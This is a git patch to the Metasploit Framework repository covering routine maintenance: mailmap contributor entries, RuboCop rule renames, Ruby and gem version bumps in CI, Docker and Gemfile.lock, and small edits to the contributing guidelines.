| 0d143a1ce3 | |||
| 82f0daeb68 | |||
| 0a41599ce4 | |||
| dd13820cac | |||
| 84cc85a099 | |||
| f6eaeaac71 | |||
| 7395297da4 | |||
| 1425d180b9 | |||
| 28bbcd5402 | |||
| a63fd26eb5 | |||
| 279930a88a | |||
| 2227903585 | |||
| 8f049f5c23 | |||
| dfd97a7518 | |||
| c86511722a | |||
| 6a80bf2cf5 | |||
| 24021d1b12 | |||
| 74c765c6ac | |||
| d6a7da9490 | |||
| ca99bd4191 | |||
| 8dc238e687 | |||
| 73569fef38 | |||
| 90cd20b381 | |||
| 82457a4049 | |||
| f77497883b | |||
| 4d05287412 | |||
| 21df0ff4bb | |||
| 496504657c | |||
| 026f9cbd96 | |||
| c53346d500 | |||
| a9aa5c4577 | |||
| fd66829cbb | |||
| 27f5720055 | |||
| a65347dcf7 | |||
| 4710322cd7 | |||
| 2ce3e4f1c4 | |||
| 285244e877 | |||
| 4d2c5dbd88 | |||
| a587668b9e | |||
| 75c58d39a9 | |||
| 0ed09cc9bf | |||
| 2d1e7ffa2f | |||
| 4100972530 | |||
| fe2b3f8f29 | |||
| b668e1fa5b | |||
| c0be631bf0 | |||
| 134765dc40 | |||
| 4125224af8 | |||
| 5b36b6ed71 | |||
| 3c0cb29a7c | |||
| 0715b7688a | |||
| 0d34de7d2f | |||
| 5b8c97c4f7 | |||
| 5e52f47c17 | |||
| 963489e196 | |||
| 7ea19c7d26 | |||
| e1ab657e55 | |||
| 3044fdf517 | |||
| 4431476ec4 | |||
| 47a3204e34 | |||
| 6d1ee46bba | |||
| acb351ac44 | |||
| 3174af03e4 | |||
| 67ee46ec03 | |||
| 8138e2f185 | |||
| 458dc59594 | |||
| d2da56bd90 | |||
| d80ad89160 | |||
| c405fba6b1 | |||
| 0a05ee6577 | |||
| 7e4a99689a | |||
| 51c0c24c20 | |||
| 5b91fa8c88 | |||
| fb729b5f11 | |||
| 02ba21a0a0 | |||
| 4677e0f389 | |||
| fec749d3b2 | |||
| de34bc484e | |||
| cdd3378acc | |||
| e32409b379 | |||
| ab631044af | |||
| f2c475454a | |||
| 15ce66cb02 | |||
| 35e3704526 | |||
| e243e1a50d | |||
| f3a9af2ea8 | |||
| 855281b0ac | |||
| b860cafddf | |||
| 49cb6204e5 | |||
| 559901865e | |||
| 9e321dc30e | |||
| 9150ab4e1a | |||
| 6522866071 | |||
| f479ed2d73 | |||
| 725bff5e2d | |||
| 49762084f2 | |||
| a529866e1a | |||
| 6225c5c31f | |||
| 4edf91d0b2 | |||
| 121e337e13 | |||
| c76e773b8f | |||
| 8412ff319a | |||
| edcc423eea | |||
| 1d6e319ac2 | |||
| eb9088a588 | |||
| b9cb6d8820 | |||
| 9e235edd88 | |||
| 5ae1c8ef49 | |||
| 6b4e067c0e | |||
| 0e9a2d13ac | |||
| 4af0731f8c | |||
| fc69bfcc6c | |||
| ce8e85d573 | |||
| a8da66e6ee | |||
| 2716687f0d | |||
| 440c82b3e2 | |||
| 98c9654d19 | |||
| a386b2d503 | |||
| 18f21bb3a7 | |||
| 4d9780f070 | |||
| b879a888f8 | |||
| d85297c556 | |||
| de1bf2e715 | |||
| 97fbfa3a9f | |||
| a9a2ce2f6a | |||
| b8a393ea89 | |||
| f48a065d6d | |||
| 6771dd4c16 | |||
| 580f4f93bc | |||
| c62cb1691c | |||
| e21b25b20f | |||
| 644988750e | |||
| f0ca2fb2e5 | |||
| 5fa9c5e21a | |||
| 469f848b22 | |||
| 408d01cef4 | |||
| 8bfdaf6ab7 | |||
| 3a4887cb3a | |||
| 88bdb981ad | |||
| c088ec9ee8 | |||
| 2ccfbbe8f8 | |||
| ecb5eec969 | |||
| c2790d44f6 | |||
| cfeaca6de8 | |||
| 911d3c41cd | |||
| b3240a1819 | |||
| 3ed9fb0383 | |||
| 3483881b19 | |||
| a63357c460 | |||
| b460dc113d | |||
| 11021e3bc1 | |||
| 262e574fe2 | |||
| 7a8eb76a12 | |||
| e4992c6817 | |||
| 6703e9b06b | |||
| 8fe1f9d172 | |||
| 832d2e4300 | |||
| 3fc0467484 | |||
| f1f9597222 | |||
| e66179a0e7 | |||
| ee660d61ea | |||
| 73eab2c34a | |||
| 902ff4f573 | |||
| f24c689d84 | |||
| d874f1899d | |||
| 2cd8125a40 | |||
| 5e65685167 | |||
| 9297809b41 | |||
| 0cbfaccc7d | |||
| aaad280e13 | |||
| a990191f99 | |||
| 054a092eb2 | |||
| 78c4bfee95 | |||
| f60e8a3dbd | |||
| ce5f8d8d2f | |||
| d6cfe021dc | |||
| d25d8e77b8 | |||
| 579ea56f3b | |||
| 49a991891c | |||
| a985da9318 | |||
| 1d91e7f53c | |||
| 795e0ebeb5 | |||
| edcddf2736 | |||
| d4e2ac696a | |||
| 9a6830c0ad | |||
| 25b56c410d | |||
| 2ec2ecb969 | |||
| c4bd91f505 | |||
| b0625012c4 | |||
| 5f7c243b48 | |||
| 788e3b4363 | |||
| 17acaf9720 | |||
| aaebec01a4 | |||
| e2815a997b | |||
| a2d2475618 | |||
| 88d424cf3f | |||
| 22182d5c8d | |||
| cf4c10783a | |||
| 4b416bf530 | |||
| a7e205e252 | |||
| 0e4e7dd9d9 | |||
| bc1610ec46 | |||
| 9f03db4582 | |||
| 1a717a5624 | |||
| ea6ab34c32 | |||
| 20216ac81a | |||
| 5123fdbb5e | |||
| a1f39e519f | |||
| 4e5e29fb52 | |||
| cc9d9bb483 | |||
| 481c13ea0f | |||
| cf3f6c90f8 | |||
| b876afa20f | |||
| 56b0d57548 | |||
| 598cf35e1e | |||
| 56d81052e8 | |||
| 9281c0de12 | |||
| 2ee5ec97e4 | |||
| 4d89dd83e3 | |||
| de554b315a | |||
| bb0f1b02ac | |||
| 106913f631 | |||
| b9e702458d | |||
| ccd6895365 | |||
| 2cd93cc097 | |||
| 490800f834 | |||
| 8dbb41ee5b | |||
| 1b9bb964b8 | |||
| 0ee3324535 | |||
| 50f5d80328 | |||
| c433cd4007 | |||
| 74647c314a | |||
| 71c1c07b0d | |||
| 5963bbd6f9 | |||
| d0803e49be | |||
| aeaf4232fe | |||
| 5e63c83257 | |||
| 9179ce1de1 | |||
| 90b639da71 | |||
| 974f078114 | |||
| bb8b3245a3 | |||
| f0eb7da43b | |||
| 7359e4bdd6 | |||
| 04e750024c | |||
| 2b97522b69 | |||
| 80aee24d65 | |||
| 49c7fe8906 | |||
| 06a7267017 | |||
| b1f58b4606 | |||
| a520b62df3 | |||
| 80522a5712 | |||
| 6c6603bbd7 | |||
| aee17608cd | |||
| 6934af0b7d | |||
| bcd181c87d | |||
| 72672c82f9 | |||
| ac9b4c137c | |||
| 415caafabe | |||
| bade8bfc48 | |||
| c9b0054629 | |||
| 615661a03d | |||
| 97943261ed | |||
| 05944ba8c1 | |||
| 13560e93c0 | |||
| 288bb56c7f | |||
| ea50149ba7 | |||
| 4b9e748882 | |||
| 86d6b34da8 | |||
| f1ec0da154 | |||
| 5b89c221f0 | |||
| 3dc68cfaaa | |||
| cd13a83eb2 | |||
| 71b825ee06 | |||
| ea14054c0d | |||
| 40169c8d42 | |||
| 991639c493 | |||
| caafac3455 | |||
| f8b7100565 | |||
| ec81ee8f08 | |||
| f796f55cea | |||
| e103194ec4 | |||
| 64695f1354 | |||
| ea3e2c1047 | |||
| dbcdfe8332 | |||
| d1a510234f | |||
| 88107648cd | |||
| 88a941cbd6 | |||
| 9ce3365d56 | |||
| ca82e6cd25 | |||
| 70d5bd4eb3 | |||
| 286263c094 | |||
| 48333c5d4e | |||
| da98d3d376 | |||
| 71f4eadd18 | |||
| a5bbd7d1f5 | |||
| 47cfcba53a | |||
| 9fdee466ca | |||
| 76da9ea4fc | |||
| 46005eb933 | |||
| 4747049440 | |||
| baea8d1f5f | |||
| 373e409184 | |||
| 320642e3c0 | |||
| 979681443c | |||
| b35b4674d0 | |||
| 0c4fc639fa | |||
| f48d1b1231 | |||
| 61a1abab79 | |||
| f675a974a6 | |||
| af5e071abe | |||
| 107bb3e9ff | |||
| c8050adab2 | |||
| bc3f87a950 | |||
| 1faa1786c6 | |||
| e9e57895cd | |||
| c48a43a771 | |||
| b258b8270e | |||
| 61d5be5981 | |||
| 08a0528d8a | |||
| fd628583fe | |||
| b7df6c1272 | |||
| 94dd2b1800 | |||
| 5ca4163765 | |||
| 809a990ab8 | |||
| 48d29e532e | |||
| bd58fdf77a | |||
| 4d60f38177 | |||
| cf90f8250d | |||
| 65a87b88ab | |||
| 3589c4f4c7 | |||
| b26c5c63e2 | |||
| 65536034b2 | |||
| 2cccd50160 | |||
| ca8c72d586 | |||
| f11ce8635f | |||
| ba03a0c9eb | |||
| a5b894dca3 | |||
| e714f9028e | |||
| e2101c7931 | |||
| 8ec5a124b4 | |||
| 92e4393025 | |||
| cbcc2f2088 | |||
| a9fcd13257 | |||
| 1a564a6f70 | |||
| 7794cc0234 | |||
| fbaebc14be | |||
| cef8dc2fa2 | |||
| de6f49305c | |||
| 6fde3ea566 | |||
| ed7d9a10ac | |||
| 828eee12eb | |||
| 8e855867a9 | |||
| d0ab528381 | |||
| 794e74c25b | |||
| 12ffc2a811 | |||
| 3196b6bacb | |||
| b43f6e8173 | |||
| 62054ed096 | |||
| 2286824645 | |||
| 40ff19a0c3 | |||
| 7734f436e9 | |||
| c48a6ddbdf | |||
| e06d7e2ded | |||
| f823927832 | |||
| a1b1ace18f | |||
| 2dd9466c82 | |||
| 85add746e1 | |||
| 68414d07ce | |||
| 22340ab2c1 | |||
| 1999f6885b | |||
| e12052a83e | |||
| 3a77cc9805 | |||
| 72f73c59ee | |||
| 51df27636d | |||
| 949d140326 | |||
| 1f802a88dc | |||
| 42fa436940 | |||
| 16628806e1 | |||
| 17c6b8dec1 | |||
| 5fde493add | |||
| 92063560eb | |||
| 619d51c768 | |||
| 8585dacbb4 | |||
| 9dd4017674 | |||
| 5e9c10dbe8 | |||
| 2ad453b6e3 | |||
| 479b09962c | |||
| f7271d0086 | |||
| 8976b52216 | |||
| b0aeee8435 | |||
| 08d1f9a5c8 | |||
| 5f6ecd2ff9 | |||
| 734a6496c5 | |||
| dd267ba438 | |||
| 361a999dd1 | |||
| f17b9aed0c | |||
| 7598a5801a | |||
| f372e8ec09 | |||
| 829cfbab3b | |||
| a415a82aa3 | |||
| 60e3b7be1a | |||
| 9bea263805 | |||
| 50a1a0ae6c | |||
| ba528c8d50 | |||
| 180bc1f741 | |||
| 358725bdd6 | |||
| 1161787cbd | |||
| e1fdd403ed | |||
| be8538152c |
@@ -1,39 +1,41 @@
|
||||
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
|
||||
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <jqian@rapid7.com>
|
||||
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
|
||||
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
|
||||
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
|
||||
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
|
||||
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
|
||||
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> <todb@packetfu.com>
|
||||
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> <wvu@cs.nmt.edu>
|
||||
wvu-r7 <wvu-r7@github> <wvu@metasploit.com>
|
||||
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
|
||||
adamgalway-r7 <adamgalway-r7@github> <adam_galway@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
|
||||
cdelafuente-r7 <cdelafuente-r7@github> Christophe De La Fuente <christophe_delafuente@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
|
||||
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
|
||||
jinq102030 <jinq102030@github> <jqian@rapid7.com>
|
||||
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
|
||||
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
|
||||
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
|
||||
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
|
||||
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
|
||||
smcintyre-r7 <smcintyre-r7@github> <spencer_mcintyre@rapid7.com>
|
||||
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> <todb@packetfu.com>
|
||||
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> <wvu@nmt.edu>
|
||||
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
|
||||
|
||||
# Above this line are current Rapid7 employees. Below this paragraph are
|
||||
# volunteers, former employees, and potential Rapid7 employees who, at
|
||||
|
||||
+4
-4
@@ -112,21 +112,21 @@ Metrics/MethodLength:
|
||||
often exceed 200 lines.
|
||||
Max: 300
|
||||
|
||||
Naming/UncommunicativeMethodParamName:
|
||||
Naming/MethodParameterName:
|
||||
Enabled: true
|
||||
Description: 'Whoever made this requirement never looked at crypto methods, IV'
|
||||
MinNameLength: 2
|
||||
|
||||
# %q() is super useful for long strings split over multiple lines and
|
||||
# is very common in module constructors for things like descriptions
|
||||
Style/UnneededPercentQ:
|
||||
Style/RedundantPercentQ:
|
||||
Enabled: false
|
||||
|
||||
Style/NumericLiterals:
|
||||
Enabled: false
|
||||
Description: 'This often hurts readability for exploit-ish code.'
|
||||
|
||||
Layout/AlignHash:
|
||||
Layout/HashAlignment:
|
||||
Enabled: false
|
||||
Description: 'aligning info hashes to match these rules is almost impossible to get right'
|
||||
|
||||
@@ -142,7 +142,7 @@ Layout/EmptyLinesAroundMethodBody:
|
||||
Enabled: false
|
||||
Description: 'these are used to increase readability'
|
||||
|
||||
Layout/AlignParameters:
|
||||
Layout/ParameterAlignment:
|
||||
Enabled: true
|
||||
EnforcedStyle: 'with_fixed_indentation'
|
||||
Description: 'initialize method of every module has fixed indentation for Name, Description, etc'
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
2.6.2
|
||||
2.6.5
|
||||
|
||||
+3
-3
@@ -11,8 +11,8 @@ addons:
|
||||
- graphviz
|
||||
language: ruby
|
||||
rvm:
|
||||
- '2.5.5'
|
||||
- '2.6.2'
|
||||
- '2.5.7'
|
||||
- '2.6.5'
|
||||
|
||||
env:
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
|
||||
@@ -43,7 +43,7 @@ before_install:
|
||||
- ls -la ./.git/hooks
|
||||
- ./.git/hooks/post-merge
|
||||
# Update the bundler
|
||||
- gem update --system
|
||||
- gem update --system 3.0.6
|
||||
- gem install bundler
|
||||
before_script:
|
||||
- cp config/database.yml.travis config/database.yml
|
||||
|
||||
+4
-2
@@ -2,9 +2,9 @@
|
||||
|
||||
Thanks for your interest in making Metasploit -- and therefore, the
|
||||
world -- a better place! Before you get started, review our
|
||||
[Code of Conduct]. There are mutliple ways to help beyond just writing code:
|
||||
[Code of Conduct]. There are multiple ways to help beyond just writing code:
|
||||
- [Submit bugs and feature requests] with detailed information about your issue or idea.
|
||||
- [Help fellow users with open issues] or [help fellow committers test recent pull requests].
|
||||
- [Help fellow users with open issues] or [help fellow committers test recently submitted pull requests].
|
||||
- [Report a security vulnerability in Metasploit itself] to Rapid7.
|
||||
- Submit an updated or brand new module! We are always eager for exploits, scanners, and new
|
||||
integrations or features. Don't know where to start? Set up a [development environment], then head over to ExploitDB to look for [proof-of-concept exploits] that might make a good module.
|
||||
@@ -36,6 +36,7 @@ it into Metasploit's master branch. If you do not care to follow these rules, y
|
||||
* **Do** [reference associated issues] in your pull request description.
|
||||
* **Don't** leave your pull request description blank.
|
||||
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
|
||||
* **Don't** post questions in older closed PRs.
|
||||
|
||||
Pull request [PR#9966] is a good example to follow.
|
||||
|
||||
@@ -69,6 +70,7 @@ When reporting Metasploit issues:
|
||||
* **Do** write a detailed description of your bug and use a descriptive title.
|
||||
* **Do** include reproduction steps, stack traces, and anything that might help us fix your bug.
|
||||
* **Don't** file duplicate reports; search for your bug before filing a new report.
|
||||
* **Don't** attempt to report issues on a closed PR.
|
||||
|
||||
If you need some more guidance, talk to the main body of open source contributors over on our
|
||||
[Metasploit Slack] or [#metasploit on Freenode IRC].
|
||||
|
||||
+10
-7
@@ -1,4 +1,4 @@
|
||||
FROM ruby:2.6.2-alpine3.9 AS builder
|
||||
FROM ruby:2.6.5-alpine3.10 AS builder
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
|
||||
@@ -27,16 +27,16 @@ RUN apk add --no-cache \
|
||||
zlib-dev \
|
||||
ncurses-dev \
|
||||
git \
|
||||
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
|
||||
&& gem update --system \
|
||||
&& bundle install --clean --no-cache --system $BUNDLER_ARGS \
|
||||
&& echo "gem: --no-document" > /etc/gemrc \
|
||||
&& gem update --system 3.0.6 \
|
||||
&& bundle install --force --clean --no-cache --system $BUNDLER_ARGS \
|
||||
# temp fix for https://github.com/bundler/bundler/issues/6680
|
||||
&& rm -rf /usr/local/bundle/cache \
|
||||
# needed so non root users can read content of the bundle
|
||||
&& chmod -R a+r /usr/local/bundle
|
||||
|
||||
|
||||
FROM ruby:2.6.2-alpine3.9
|
||||
FROM ruby:2.6.5-alpine3.10
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ENV APP_HOME=/usr/src/metasploit-framework
|
||||
@@ -51,8 +51,11 @@ RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresq
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
|
||||
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
|
||||
|
||||
COPY --chown=root:metasploit --from=builder /usr/local/bundle /usr/local/bundle
|
||||
COPY --chown=root:metasploit . $APP_HOME/
|
||||
COPY --from=builder /usr/local/bundle /usr/local/bundle
|
||||
RUN chown -R root:metasploit /usr/local/bundle
|
||||
COPY . $APP_HOME/
|
||||
RUN chown -R root:metasploit $APP_HOME/
|
||||
RUN chmod 664 $APP_HOME/Gemfile.lock
|
||||
RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml
|
||||
|
||||
WORKDIR $APP_HOME
|
||||
|
||||
+76
-68
@@ -1,14 +1,13 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (5.0.45)
|
||||
metasploit-framework (5.0.69)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
aws-sdk-ec2
|
||||
aws-sdk-iam
|
||||
aws-sdk-s3
|
||||
backports
|
||||
bcrypt (= 3.1.12)
|
||||
bcrypt_pbkdf
|
||||
bit-struct
|
||||
@@ -16,7 +15,10 @@ PATH
|
||||
dnsruby
|
||||
ed25519
|
||||
em-http-request
|
||||
eventmachine
|
||||
faker
|
||||
faraday (<= 0.17.0)
|
||||
faye-websocket
|
||||
filesize
|
||||
jsobfu
|
||||
json
|
||||
@@ -24,7 +26,7 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.70)
|
||||
metasploit-payloads (= 1.3.83)
|
||||
metasploit_data_models (= 3.0.10)
|
||||
metasploit_payloads-mettle (= 0.5.16)
|
||||
mqtt
|
||||
@@ -59,7 +61,7 @@ PATH
|
||||
rex-random_identifier
|
||||
rex-registry
|
||||
rex-rop_builder
|
||||
rex-socket (= 0.1.17)
|
||||
rex-socket
|
||||
rex-sslscan
|
||||
rex-struct2
|
||||
rex-text
|
||||
@@ -108,44 +110,43 @@ GEM
|
||||
minitest (~> 5.1)
|
||||
thread_safe (~> 0.3, >= 0.3.4)
|
||||
tzinfo (~> 1.1)
|
||||
addressable (2.6.0)
|
||||
public_suffix (>= 2.0.2, < 4.0)
|
||||
addressable (2.7.0)
|
||||
public_suffix (>= 2.0.2, < 5.0)
|
||||
afm (0.2.2)
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.10.0)
|
||||
arel-helpers (2.11.0)
|
||||
activerecord (>= 3.1.0, < 7)
|
||||
aws-eventstream (1.0.3)
|
||||
aws-partitions (1.207.0)
|
||||
aws-sdk-core (3.65.1)
|
||||
aws-partitions (1.262.0)
|
||||
aws-sdk-core (3.86.0)
|
||||
aws-eventstream (~> 1.0, >= 1.0.2)
|
||||
aws-partitions (~> 1.0)
|
||||
aws-partitions (~> 1, >= 1.239.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
jmespath (~> 1.0)
|
||||
aws-sdk-ec2 (1.106.0)
|
||||
aws-sdk-core (~> 3, >= 3.61.1)
|
||||
aws-sdk-ec2 (1.130.0)
|
||||
aws-sdk-core (~> 3, >= 3.71.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.29.0)
|
||||
aws-sdk-core (~> 3, >= 3.61.1)
|
||||
aws-sdk-iam (1.32.0)
|
||||
aws-sdk-core (~> 3, >= 3.71.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-kms (1.24.0)
|
||||
aws-sdk-core (~> 3, >= 3.61.1)
|
||||
aws-sdk-kms (1.27.0)
|
||||
aws-sdk-core (~> 3, >= 3.71.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-s3 (1.47.0)
|
||||
aws-sdk-core (~> 3, >= 3.61.1)
|
||||
aws-sdk-s3 (1.60.1)
|
||||
aws-sdk-core (~> 3, >= 3.83.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sigv4 (1.1.0)
|
||||
aws-eventstream (~> 1.0, >= 1.0.2)
|
||||
backports (3.15.0)
|
||||
bcrypt (3.1.12)
|
||||
bcrypt_pbkdf (1.0.1)
|
||||
bindata (2.4.4)
|
||||
bit-struct (0.16)
|
||||
builder (3.2.3)
|
||||
builder (3.2.4)
|
||||
coderay (1.1.2)
|
||||
concurrent-ruby (1.0.5)
|
||||
cookiejar (0.3.3)
|
||||
crass (1.0.4)
|
||||
crass (1.0.5)
|
||||
daemons (1.3.1)
|
||||
diff-lcs (1.3)
|
||||
dnsruby (1.61.3)
|
||||
@@ -162,15 +163,18 @@ GEM
|
||||
eventmachine (>= 1.0.0.beta.4)
|
||||
erubis (2.7.0)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (5.0.2)
|
||||
factory_bot (5.1.1)
|
||||
activesupport (>= 4.2.0)
|
||||
factory_bot_rails (5.0.2)
|
||||
factory_bot (~> 5.0.2)
|
||||
factory_bot_rails (5.1.1)
|
||||
factory_bot (~> 5.1.0)
|
||||
railties (>= 4.2.0)
|
||||
faker (2.2.0)
|
||||
faker (2.2.1)
|
||||
i18n (>= 0.8)
|
||||
faraday (0.15.4)
|
||||
faraday (0.17.0)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
faye-websocket (0.10.9)
|
||||
eventmachine (>= 0.12.0)
|
||||
websocket-driver (>= 0.5.1)
|
||||
filesize (0.2.0)
|
||||
fivemat (1.3.7)
|
||||
hashery (2.1.2)
|
||||
@@ -180,8 +184,8 @@ GEM
|
||||
jmespath (1.4.0)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.2.0)
|
||||
loofah (2.2.3)
|
||||
json (2.3.0)
|
||||
loofah (2.4.0)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.5.9)
|
||||
metasm (1.0.4)
|
||||
@@ -189,7 +193,7 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-credential (3.0.3)
|
||||
metasploit-credential (3.0.4)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 3.0.0)
|
||||
@@ -203,7 +207,7 @@ GEM
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.70)
|
||||
metasploit-payloads (1.3.83)
|
||||
metasploit_data_models (3.0.10)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
@@ -217,7 +221,7 @@ GEM
|
||||
metasploit_payloads-mettle (0.5.16)
|
||||
method_source (0.9.2)
|
||||
mini_portile2 (2.4.0)
|
||||
minitest (5.11.3)
|
||||
minitest (5.13.0)
|
||||
mqtt (0.5.0)
|
||||
msgpack (1.3.1)
|
||||
multipart-post (2.1.1)
|
||||
@@ -225,9 +229,10 @@ GEM
|
||||
net-ssh (5.2.0)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.2.1)
|
||||
nokogiri (1.10.4)
|
||||
nokogiri (1.10.7)
|
||||
mini_portile2 (~> 2.4.0)
|
||||
octokit (4.14.0)
|
||||
octokit (4.15.0)
|
||||
faraday (>= 0.9)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.2)
|
||||
openvas-omp (0.0.4)
|
||||
@@ -235,7 +240,7 @@ GEM
|
||||
pcaprub
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.0)
|
||||
pdf-reader (2.2.1)
|
||||
pdf-reader (2.4.0)
|
||||
Ascii85 (~> 1.0.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
@@ -250,8 +255,8 @@ GEM
|
||||
pry (0.12.2)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.9.0)
|
||||
public_suffix (3.1.1)
|
||||
rack (1.6.11)
|
||||
public_suffix (4.0.3)
|
||||
rack (1.6.12)
|
||||
rack-protection (1.5.5)
|
||||
rack
|
||||
rack-test (0.6.3)
|
||||
@@ -262,16 +267,16 @@ GEM
|
||||
